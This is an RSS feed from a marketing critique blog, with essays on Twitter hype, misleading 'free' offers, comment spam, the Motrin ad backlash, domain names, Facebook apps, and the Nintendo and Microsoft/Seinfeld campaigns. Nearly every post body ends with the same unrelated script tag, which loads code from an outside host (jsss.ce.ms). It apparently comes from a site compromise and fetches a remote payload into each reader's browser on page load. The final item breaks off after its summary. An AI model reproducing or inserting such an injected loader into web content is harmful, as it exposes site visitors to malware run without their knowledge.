<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Escalate - Marketing Critique &#187; Viral</title>
	<atom:link href="http://skal8.com/category/viral/feed/" rel="self" type="application/rss+xml" />
	<link>http://skal8.com</link>
	<description>Marketing to consumers in control</description>
	<lastBuildDate>Tue, 01 Feb 2011 05:12:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>How Twitter generates so much hype</title>
		<link>http://skal8.com/buzz/how-twitter-generates-so-much-hype/</link>
		<comments>http://skal8.com/buzz/how-twitter-generates-so-much-hype/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 01:57:16 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[commenters]]></category>
		<category><![CDATA[community]]></category>
		<category><![CDATA[hype]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=109</guid>
		<description><![CDATA[By this point you&#8217;d have to be living under a rock not to have heard of Twitter.   Everyone from Oprah to CNBC has spent time talking about the microblogging system and its phenomenal growth.  A far fewer percentage of people &#8230; <a href="http://skal8.com/buzz/how-twitter-generates-so-much-hype/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>By this point you&#8217;d have to be living under a rock not to have heard of <a title="My twitter account" href="http://twitter.com/armondhammer">Twitter</a>.   Everyone from Oprah to <a href="http://www.cnbc.com">CNBC</a> has spent time talking about the microblogging system and its phenomenal growth.  A far fewer percentage of people seem to understand the utility of the service.  Certainly the controversy surrounding the Iran elections and twitter&#8217;s utility have explained it to some.  Regardless of this, most still seem to think of it as a place full of narcissists eager to tell you how much they enjoyed something trivial like their last sandwich.  I&#8217;m not here to explain it&#8217;s purpose and power, but explain why something that most consider small keeps generating big coverage.</p>
<p>It requires a basic understanding of Internet users.  The vast majority of people that use the internet are content consumers.  Sites are built to make this group of users be able to consume content easily.   On the other side, there&#8217;s a small percentage that create content.  Some are professionals, but the vast majority of creators toil in relative anonymity, but continue to produce.  These are the folks that <a href="http://www.stir.com">create reviews</a> at sites like <a href="http://www.citysearch.com">citysearch</a> and comment on newspaper stories.   They are, virtually by definition, incredibly eager to share their thoughts.</p>
<p>These content creators are the most vital and active Twitter users.  They see the power of the system to push out their message, and are eager to defend its virtue.  Twitter can provide a megaphone for content creators of prior obscurity, and further amplify the voice of a loud organization or celebrity.  Since psychographically they are the same as blog commenters, they aren&#8217;t afraid to provide input into any article written about their new soap box.  This creates activity and action on sites that write about twitter.  It creates a cycle, which is self reinforcing.</p>
<p>Oddly enough, it doesn&#8217;t yet matter if the masses adopt it.  It will, as the ability to push a message to the masses is what is attractive in the first place.  But for generating hype, it doesn&#8217;t matter.</p>
<p>There&#8217;s a lot that any business can learn here.  Your best customers are your most powerful advocates.  Make it easy to share your message and they will.  Also, never forget the value you are giving to your best customers.  Twitter provides value by giving a voice, and their best customers repay them by returning the favor in hype.  Nothing is more viral than that.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/how-twitter-generates-so-much-hype/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>More on how worthless free has become</title>
		<link>http://skal8.com/branding/more-on-how-worthless-free-has-become/</link>
		<comments>http://skal8.com/branding/more-on-how-worthless-free-has-become/#comments</comments>
		<pubDate>Tue, 17 Feb 2009 23:49:25 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[free dating site]]></category>
		<category><![CDATA[Online Dating]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=90</guid>
		<description><![CDATA[After my recent post on the death of free, I attempted to run an ad on Yahoo&#8217;s network for our free dating site, downtoearth.com.  The ad was pretty simple.  It text in the ad read simply Online Dating.  100% Free. &#8230; <a href="http://skal8.com/branding/more-on-how-worthless-free-has-become/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>After my recent post on the death of free, I attempted to run an ad on Yahoo&#8217;s network for our <a href="http://www.downtoearth.com">free dating site</a>, downtoearth.com.  The ad was pretty simple.  It text in the ad read simply Online Dating.  100% Free.</p>
<p>The ad was rejected by Yahoo.</p>
<p>Why?</p>
<p>It lacked a disclaimer on the word &#8220;Free.&#8221;  That&#8217;s right.  They expected that the word could only be used with some sort of catch.</p>
<p>I tried to explain that we are truly free and get a sample disclaimer.  How can you disclaim something that&#8217;s true?</p>
<p>I&#8217;m leaning toward using &#8220;internet connection required&#8221; for our online ad.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/more-on-how-worthless-free-has-become/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The sad death of the word Free</title>
		<link>http://skal8.com/viral/the-sad-death-of-the-word-free/</link>
		<comments>http://skal8.com/viral/the-sad-death-of-the-word-free/#comments</comments>
		<pubDate>Fri, 06 Feb 2009 00:50:26 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[advertising claims]]></category>
		<category><![CDATA[affiliate marketer]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[credit monitoring solution]]></category>
		<category><![CDATA[Credit reporting services]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[marketing lies]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=88</guid>
		<description><![CDATA[Allow me to write an obituary for what was once an appealing and meaningful word.  Sadly, it was beaten to death by advertising claims and shows no hope of recovery.  Certainly in the days before the Internet, it had been &#8230; <a href="http://skal8.com/viral/the-sad-death-of-the-word-free/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Allow me to write an obituary for what was once an appealing and meaningful word.  Sadly, it was beaten to death by advertising claims and shows no hope of recovery.  Certainly in the days before the Internet, it had been frequently over used, but recent time has finally sent it over the edge.  It no longer means anything.  The mere mention of the word leads people to think the opposite, and forces them to check the fine print for the catch.</p>
<p>Free, we will miss you.  I wish you still meant something because in these dark times, we need you more than ever.  It&#8217;s sad how often I need to put you in quotes to signify your empty meaning.</p>
<p>Even in the early days of the Internet, the rise in affiliate marketing led to &#8220;free&#8221; giveaways of expensive items.  The catch there was that you needed to complete a great number of offers, at substantial cost, to receive the so-called free item.  The affiliate marketer made more revenue than the cost of the item, and the <span style="text-decoration: line-through;">rube</span> customer received a number of products and services.  Certainly not free, but if a person were actually interested in all of the offers they did get the product for free.</p>
<p>The idea of the free trial was another big blow.  The idea was for a person to try out a web service for a short time at no cost to them.  Of course they had to enter their credit card for the free trial which was mercilessly charged if the service was not canceled in time.  The &#8220;adult&#8221; industry made this practice an artform and free was kicked hard yet again.</p>
<p>Credit reporting services brought both of these together to deliver a deadly blow to free.  Rather than go to the government&#8217;s weakly promoted <a title="The Truly Free Credit Report" href="http://www.annualcreditreport.com">annualcreditreport.com</a>, where a consumer can truly download a credit report from every agency once every year for no cost; the credit reporting firms promoted their own &#8220;free&#8221; solutions which require a trial of a credit monitoring solution.  No matter what it says in the url, if a consumer doesn&#8217;t watch out they will end up with a monthly bill for their zero cost credit report.</p>
<p>Free had a bit of resurgence with peer to peer downloading, but getting something for free that you are supposed to pay for is just as wrong as thinking you are getting something for free and then paying for it.  The big difference is the lawsuits that were directed at the biggest users of free downloading.   The legal bills made this anything but free.</p>
<p>I&#8217;m certain that you have been hurt many more times than I could ever chronicle.  I feel for you.  Once such a noble word.  Now people assume you are part of a deception.</p>
<p>People have tried to revive you by adding 100% in front of your forsaken name, but to no avail.  Even the words completely and totally have no effect on you anymore, my poor lost free.</p>
<p>It is time that we move on and agree that you mean nothing now.</p>
<p>So how can we marketers tell people we won&#8217;t be charging them?   I have to admit I&#8217;m a bit lost without you free.  Could someone send me a free hug?<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/viral/the-sad-death-of-the-word-free/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Black Hat Marketing and why it is bad</title>
		<link>http://skal8.com/branding/black-hat-marketing-and-why-it-is-bad/</link>
		<comments>http://skal8.com/branding/black-hat-marketing-and-why-it-is-bad/#comments</comments>
		<pubDate>Fri, 09 Jan 2009 20:43:50 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[google search results]]></category>
		<category><![CDATA[marketing ethics]]></category>
		<category><![CDATA[online marketing]]></category>
		<category><![CDATA[tactics]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=80</guid>
		<description><![CDATA[It wasn&#8217;t that long ago that I read this post by Max Kalehoff on SEO and Comment spam.  My blog gets hit by this mess quite frequently so I read it with fervent interest.  Max puts it simply: attention is &#8230; <a href="http://skal8.com/branding/black-hat-marketing-and-why-it-is-bad/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It wasn&#8217;t that long ago that I read this post by <a href="http://www.attentionmax.com/blog/2008/11/seo_spammers_are_corrupting_the_social_media_commons.php">Max Kalehoff on SEO and Comment spam</a>.  My blog gets hit by this mess quite frequently so I read it with fervent interest.  Max puts it simply: attention is a precious resource and such actions squander this resource.</p>
<p>I&#8217;d put it this way.  It&#8217;s a transactional matter and little else.  Wham, bam, thank you ma&#8217;am.  It is my supposition and philosophy that the best interactive marketing is a relationship and a conversation.  Listen, respond, improve, grow.  Business is sustainable, get rich quick schemes are not.</p>
<p>Within a couple of days, I&#8217;ve seen two more comments on this in various forms within my industry.  First Dave Evans posts about <a href="http://onlinedatingpost.com/archives/2009/01/comments-anonymous-cowards-reciprocal-links/">Comment Cowards</a>, and then Marcus Frind commented on my personal blog about a bot which targets his userbase with spam. It&#8217;s pretty clear that there is no compunction about using these poor &#8220;marketing&#8221; tactics.</p>
<p>This matters very much for mainstream marketers because it adds noise to an already cluttered landscape of messages.  Legitimate comments add to the discussion and build community.  Spam erodes it and tears it down.  There&#8217;s an ethic to online marketing that&#8217;s very important.  The Internet isn&#8217;t anonymous.  Assume that your tactic will be on the front page of google search results with your name tied to it.  If you wouldn&#8217;t or can&#8217;t defend it, don&#8217;t do it.  It might seem cheap, but it won&#8217;t be in the long run.  It can get viral in a negative way.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/black-hat-marketing-and-why-it-is-bad/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter and youtube brings down an ad campaign</title>
		<link>http://skal8.com/buzz/twitter-and-youtube-brings-down-an-ad-campaign/</link>
		<comments>http://skal8.com/buzz/twitter-and-youtube-brings-down-an-ad-campaign/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 19:05:09 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Participation]]></category>
		<category><![CDATA[Shock]]></category>
		<category><![CDATA[Viral]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[motrin]]></category>
		<category><![CDATA[online buzz]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[wasted media buys]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=61</guid>
		<description><![CDATA[Johnson and Johnson pulled a recent print campaign for Motrin after significant online buzz revealed an underlying feeling of offense.  The campaign was intended to show they understood the pain that mom&#8217;s feel over raising their children with Motrin as &#8230; <a href="http://skal8.com/buzz/twitter-and-youtube-brings-down-an-ad-campaign/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Johnson and Johnson pulled a recent print campaign for Motrin after significant online buzz revealed an underlying feeling of offense.  The campaign was intended to show they understood the pain that mom&#8217;s feel over raising their children with Motrin as the obvious answer.  The execution, however, showed anything but understanding.</p>
<p>By implying that babies are a fashion accessory, J&amp;J insulted the bond between a mother and a child.  <a href="http://adage.com/digital/article?article_id=132622">This video on youtube shows a number of people&#8217;s feelings about the insult. Advertising Age provides an excellent overview of the time line here as well</a>.</p>
<p>To my way of thinking the failure was in not actually having anything to say.  Any pain reliever could have said the same thing.  If all you have to say is that you understand your target, you&#8217;d better make sure that you actually do.  In this case J&amp;J and Taxi clearly did not.</p>
<p>Pulling the campaign was the right move in this case, not because of the critics, but because it was very unlikely to be effective.  I would actually say they were fortunate that people were as vocal as they were so they could avoid wasting hundred of thousands in wasted media buys.</p>
<p>There&#8217;s a lesson here about &#8220;common interest&#8221; campaigns and social media.  The buzz will say one of a few things.  &#8220;Wow this brand really gets me&#8221; or &#8220;I hate it&#8221;  With the instant communication options open today, it would be very smart to monitor the buzz and react quickly.  If you get the Wow, ramp up.  If you get the latter kill it and listen to the reasons why.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/twitter-and-youtube-brings-down-an-ad-campaign/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>What&#039;s in a name? The value of a good domain.</title>
		<link>http://skal8.com/branding/whats-in-a-name-the-value-of-a-good-domain/</link>
		<comments>http://skal8.com/branding/whats-in-a-name-the-value-of-a-good-domain/#comments</comments>
		<pubDate>Tue, 11 Nov 2008 22:53:38 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[brand names]]></category>
		<category><![CDATA[domain names]]></category>
		<category><![CDATA[search engine]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[traffic]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=59</guid>
		<description><![CDATA[Domain name sales have been with us for quite some time.  Since there can be only one yourname.com, the value of attractive domains can often go to the highest bidder.  However opinions vary as to the best strategy. google and &#8230; <a href="http://skal8.com/branding/whats-in-a-name-the-value-of-a-good-domain/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Domain name sales have been with us for quite some time.  Since there can be only one yourname.com, the value of attractive domains can often go to the highest bidder.  However opinions vary as to the best strategy.</p>
<p>google and ebay are made up words that had little to do with their respective category until they became the dominant player.  Much like xerox or coke, their name eventually became synonymous with their product.</p>
<p>cars.com and weather.com are generic names that have taken on a brand of their own, but are very descriptive of the category in which they do business.</p>
<p>Plenty of sites do some work in between.  My ad agency name was created by removing the &#8220;ad&#8221; from advertising it and replacing it with ROI, (<a title="Small Business Advertising" href="http://www.roivertising.com">ROIvertising.com</a>).  Since I made it up, it cost me $10/year.  This domain is a cute way to say escalate phonetically.  These take the approach of building a brand, even for small businesses.  After the initial purchase, all of the attributes will come from my investments into building a brand.</p>
<p>Others take the approach of using very descriptive phrases.  These are domains that you see and instantly have a guess to what they will deliver.  A couple of random selections:  I&#8217;m pretty sure that I&#8217;ll get apple rumors at <a href="http://www.macrumors.com">macrumors.com</a> and can buy lingerie through <a href="http://www.simplelingerie.com">simplelingerie.com</a>.  They are pretty good to be descriptive, and most of the work is done up front.  They also have some advantage through search engine optimization.</p>
<p>Even though my personal preference lies in building a brand, for many businesses paying the premium for a direct, descriptive domain can be worth it.  Natural Search traffic is &#8220;free&#8221; traffic after the inital expenditure.  Its possible to model the value of a descriptive domain by looking at the cost per click for the type of search and estimating the traffic.  Do the math and figure out your best path.  The answer won&#8217;t be the same for everyone.<a title="Google logo render - Mark Knol" href="http://flickr.com/photos/25064547@N06/2568436053"><img src="http://farm4.static.flickr.com/3059/2568436053_a9734f5d0d_m.jpg" alt="" /></a><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/whats-in-a-name-the-value-of-a-good-domain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook changes alter rules for viral apps</title>
		<link>http://skal8.com/buzz/facebook-changes-alter-rules-for-viral-apps/</link>
		<comments>http://skal8.com/buzz/facebook-changes-alter-rules-for-viral-apps/#comments</comments>
		<pubDate>Thu, 02 Oct 2008 03:47:38 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[buzz]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=49</guid>
		<description><![CDATA[Facebook and MySpace have been one of the epicenters for viral mini programs known as apps or widgets.&#160; The functionality for these programs varies from one time challenges issued to your friends online, to complicated interactive games.&#160; Some are mere &#8230; <a href="http://skal8.com/buzz/facebook-changes-alter-rules-for-viral-apps/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Facebook and MySpace have been one of the epicenters for viral mini programs known as apps or widgets.&nbsp; The functionality for these programs varies from one time challenges issued to your friends online, to complicated interactive games.&nbsp; Some are mere decorations while others are massive organizers for important personal information.&nbsp; In some of the best cases, your functionality in the app depended on the size of your network and the number of your friends which installed it.&nbsp; Many have had millions of instaills, like Slide&#8217;s <a mce_href="http://www.new.facebook.com/applications/#/apps/application.php?id=2378983609&amp;b=&amp;ref=pd_r_c" href="http://www.new.facebook.com/applications/#/apps/application.php?id=2378983609&amp;b=&amp;ref=pd_r_c">Funspace</a>, or <a mce_href="http://www.new.facebook.com/apps/application.php?id=3396043540&amp;b=&amp;ref=pd_r_c" href="http://www.new.facebook.com/apps/application.php?id=3396043540&amp;b=&amp;ref=pd_r_c">Pieces of Flair</a> by rockyou.&nbsp; Millions have had very few installs, however.</p>
<p>More often than not, the viral nature worked simply.&nbsp; You install the app, everyone that you are friends with becomes aware of the install through your newsfeed or direct invites, and it becomes an innocuous part of a persons profile.&nbsp; Every time a user visits his or her profile, the small frame of the app becomes an active user. </p>
<p>Recently, the controversial facebook redesign has made apps far less prominent.&nbsp; They now have been relegated to the &#8220;boxes&#8221; tab on a users profile, forcing a user to actively engage.&nbsp;&nbsp; It would seem as if this has caused <a mce_href="http://www.alleyinsider.com/2008/10/facebook-redesign-succeeds-widgets-are-dead" href="http://www.alleyinsider.com/2008/10/facebook-redesign-succeeds-widgets-are-dead">traffic to many apps to plummet dramatically</a>.&nbsp; The reverse is true for a few.&nbsp; Estimated app <a mce_href="http://adonomics.com/about/2427603417" href="http://adonomics.com/about/2427603417">valuations have also apparetly plummeted as well</a>.</p>
<p>It seems as if the second stage for apps has begun.&nbsp; Its no longer going to be enough to follow the viral strategy 101 and just push for installs.&nbsp; App makers will need to build apps that are engaging, not merely virally marketed well.</p>
<p><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/facebook-changes-alter-rules-for-viral-apps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nintendo breaks a wall online, creates a remarkable ad</title>
		<link>http://skal8.com/branding/nintendo-breaks-a-wall-online-creates-a-remarkable-ad/</link>
		<comments>http://skal8.com/branding/nintendo-breaks-a-wall-online-creates-a-remarkable-ad/#comments</comments>
		<pubDate>Tue, 30 Sep 2008 01:22:16 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[Nintendo]]></category>
		<category><![CDATA[videos]]></category>
		<category><![CDATA[web browser]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=46</guid>
		<description><![CDATA[Lets just admit it, so much information is in front of any of us on a given day that its getting harder to impress and create remarkable ads.&#160; The Super Bowl spectacle every years is often the lone place where &#8230; <a href="http://skal8.com/branding/nintendo-breaks-a-wall-online-creates-a-remarkable-ad/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Lets just admit it, so much information is in front of any of us on a given day that its getting harder to impress and create remarkable ads.&nbsp; The Super Bowl spectacle every years is often the lone place where the average individual goes to seek out a commercial.&nbsp; With the exception of Apple and maybe a few Bud Light commericals, not to many get talked about at the water cooler anymore.</p>
<p>Leave it to Nintendo to break every other rule and create <a mce_href="http://www.youtube.com/experiencewii" href="http://www.youtube.com/experiencewii">an ad that people will seek out</a>.&nbsp; Using the now familiar idiom of leaked footage of a new game uploaded to youtube, they continue to make the video break out of the frame to make the entire web browser appear to be broken apart by the rough game play.&nbsp; It delivers a message that illustrates the uniqueness of the game in a way that&#8217;s very easy to understand.&nbsp;</p>
<p><a href="http://flickr.com/photos/11682787@N05/2319278475" mce_href="http://flickr.com/photos/11682787@N05/2319278475" title="1up Mario Green Wallpaper"><img class="alignleft" src="http://farm3.static.flickr.com/2005/2319278475_65f7c3df64_t.jpg" mce_src="http://farm3.static.flickr.com/2005/2319278475_65f7c3df64_t.jpg" width="100" height="75"></a>How effective has it been?&nbsp; As of this writing about 12 days after it posted, over 2.3M views have been logged.&nbsp; Pretty amazing for something that is nothing more than an ad.</p>
<p><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/branding/nintendo-breaks-a-wall-online-creates-a-remarkable-ad/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Microsoft and Seinfeld &#8211; An ad campaign about nothing?</title>
		<link>http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/</link>
		<comments>http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/#comments</comments>
		<pubDate>Tue, 16 Sep 2008 14:58:38 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Viral]]></category>
		<category><![CDATA[buzz]]></category>
		<category><![CDATA[mass media]]></category>
		<category><![CDATA[American Express]]></category>
		<category><![CDATA[Bill]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[Jerry Seinfeld]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[traditional media]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=27</guid>
		<description><![CDATA[Microsoft recently debuted a new ad campaign aimed at revising their image to be more friendly and approachable.  To do so, they employed Jerry Seinfeld for a purported $10M.  The first installment in the campaign debuted along with the regular &#8230; <a href="http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Microsoft recently debuted a new ad campaign aimed at revising their image to be more friendly and approachable.  To do so, they employed Jerry Seinfeld for a purported $10M.  The first installment in the campaign debuted along with the regular season of NFL football and left many wondering what the point was.  The spot, featured below, showed Jerry and Bill meeting in a shoe store and ended with Jerry wondering if Bill could make computers more delicious.  Up until the end, I thought it was a commercial for American Express, especially when the mention was made of the shoe carnival points.   The spot was an impressive 1:30, <a href="http://valleywag.com/5045727/jerry-seinfeld-bill-gates-star-in-nonsensical-new-ad-campaign">but really didn&#8217;t say anything at all</a>.</p>
<p>The second installment debuted on microsoft, and was quickly ported over to youtube (<a href="http://www.youtube.com/user/WindowsVideos">by microsoft themselves</a>).  This video is over four minutes long and reveals a bit more about the reason behind the campaign.  Windows wants to connect with real people.  To do so they employed two extraordinary wealthy individuals and &#8220;embedded&#8221; them into a normal family.  Again, the feature has very little about computers.  However, <a href="http://www.alleyinsider.com/2008/9/just-admit-it-the-new-microsoft-seinfeld-ad-is-funny">this one is pretty funny, despite being a bit confusing</a>.</p>
<p>There are a number of very interesting things here.  The second commercial (more accuratly a webisode) tells you exactly what the first was trying to accomplish.  It&#8217;s so above board about it, that you can&#8217;t help but respect that Microsoft realizes they have a very serious image problem.</p>
<p><span id="more-27"></span></p>
<p>The second interesting point is the amount of buzz these items have generated.  Each of the videos has generated around 1M views on youtube.  That&#8217;s no sneezing panda, but pretty sold for a video that&#8217;s been up for only a few weeks and requires an attention span longer than the typical 14 year old in need or ritalin (or average blogger for that matter).  Lots of people may hate it, but they are taking the time to post, comment and otherwise communicate about it.  It is sparking an honest debate.  That&#8217;s quite impressive given that a vast majority of Microsoft postings in the past tended to be harshly critical.</p>
<p>At the bottom line, I&#8217;m not sure if the commercial will be all that effective or not.  It&#8217;s quite the undertaking to take a brand as well known as Microsoft and change they way people view it.  In the end it might end up be an ad campaign about nothing.   However, at the very least they are taking on a huge problem in a very impressive manner using methods that only they could.</p>
<p>Smaller brands can learn a lot from this situation.  The biggest lesson is to never let your brand get this far out of control.  They were the big bad monopolist for a very long time and tended to ignore consumers along the way.  It&#8217;s what got Microsoft in the pickle between apple and needing to do a campaign like this.  The second lesson is that respecting your consumer&#8217;s intelligence can go a long way toward getting your message spread.  It&#8217;s my opinion that the reason this ad is generating this level of communicaiton is how frank and honest it is about the situation they are trying to address.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="src" value="http://www.youtube.com/v/uz6amk3P-hY&amp;hl=en&amp;fs=1" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/uz6amk3P-hY&amp;hl=en&amp;fs=1" allowfullscreen="true"></embed></object></p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/gBWPf1BWtkw&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/gBWPf1BWtkw&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://skal8.com/buzz/microsoft-and-seinfeld-an-ad-campaign-about-nothing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox 3 as viral launch</title>
		<link>http://skal8.com/events/firefox-3-as-viral-launch/</link>
		<comments>http://skal8.com/events/firefox-3-as-viral-launch/#comments</comments>
		<pubDate>Sun, 07 Sep 2008 00:37:50 +0000</pubDate>
		<dc:creator>Steve Hammer</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Participation]]></category>
		<category><![CDATA[Viral]]></category>
		<category><![CDATA[community]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[grassroots]]></category>
		<category><![CDATA[press]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[web browser]]></category>

		<guid isPermaLink="false">http://skal8.com/?p=18</guid>
		<description><![CDATA[The web browser Firefox 3 (of which I am a proud user), had what can only be called an amazing launch.  They set the world record for downloads of software on a single day, despite plenty of reports of errors &#8230; <a href="http://skal8.com/events/firefox-3-as-viral-launch/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
